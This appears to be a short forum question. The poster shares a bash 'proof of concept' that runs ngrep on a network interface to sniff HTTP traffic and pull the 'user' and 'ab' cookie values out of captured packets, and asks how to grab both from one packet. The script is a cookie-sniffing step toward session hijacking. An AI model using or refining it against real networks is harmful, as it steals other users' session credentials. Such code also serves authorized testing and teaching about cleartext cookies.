I am attempting to create a proof of concept bash script to scan the network using ngrep, find appropriate cookies and then place them into a variable.
cook=`ngrep -s 1000 -l -q -d eth1 "Cookie:" tcp and port 80 |
grep -m 1 -Po '(?<=user=)[^;]+'`
cook2=`ngrep -s 1000 -l -q -d eth1 "Cookie:" tcp and port 80 |
grep -m 1 -Po '(?<=ab=)[^;]+'`
How can I store cookie & cookie2 from the ONE packet instead of having to ngrep twice?